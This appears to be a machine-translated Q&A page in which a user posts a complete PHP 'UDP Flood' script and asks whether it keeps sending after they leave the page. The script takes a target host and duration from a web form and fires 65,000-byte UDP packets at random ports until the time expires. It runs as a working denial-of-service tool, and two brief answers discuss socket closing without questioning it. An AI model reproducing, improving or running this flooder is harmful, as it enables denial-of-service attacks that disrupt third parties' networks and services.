1
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
    $pakits = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
            $out .= 'X';
    }
    while(1){
    $pakits++;
            if(time() > $max_time){
                    break;
            }
            $rand = rand(1,65000);
            $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
    }
    echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
    echo '<br><br>
        <form action="'.$surl.'" method=GET>
        <input type="hidden" name="act" value="phptools">
        Host: <input type=text name=host value=localhost>
        Length (seconds): <input type=text name=time value=9999>
        <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
            <form action=? method=GET>
            <input type="hidden" name="act" value="phptools">
            Host: <br><input type=text name=host value=localhost><br>
            Length (seconds): <br><input type=text name=time value=9999><br>
            <br>
            <input type=submit value=Go></form>';
}

我一直在环顾四周,问我的朋友一段时间,如果我使用这个脚本告诉服务器使用 fsockopen 打开套接字,如果我离开网页,套接字会保持打开状态直到持续时间完成?

4

2 回答 2

3

一旦请求完成,它就会关闭。留在页面上与此无关。

于 2010-04-17T19:51:32.300 回答
0

不,它只是返回一个指向可以与fopen()fwrite()等一起使用的文件的指针。

但是,一旦使用fclose()完成文件,您将需要关闭该文件。在以下位置查看更多详细信息: http: //us.php.net/manual/en/function.fsockopen.php

于 2010-04-17T19:57:12.433 回答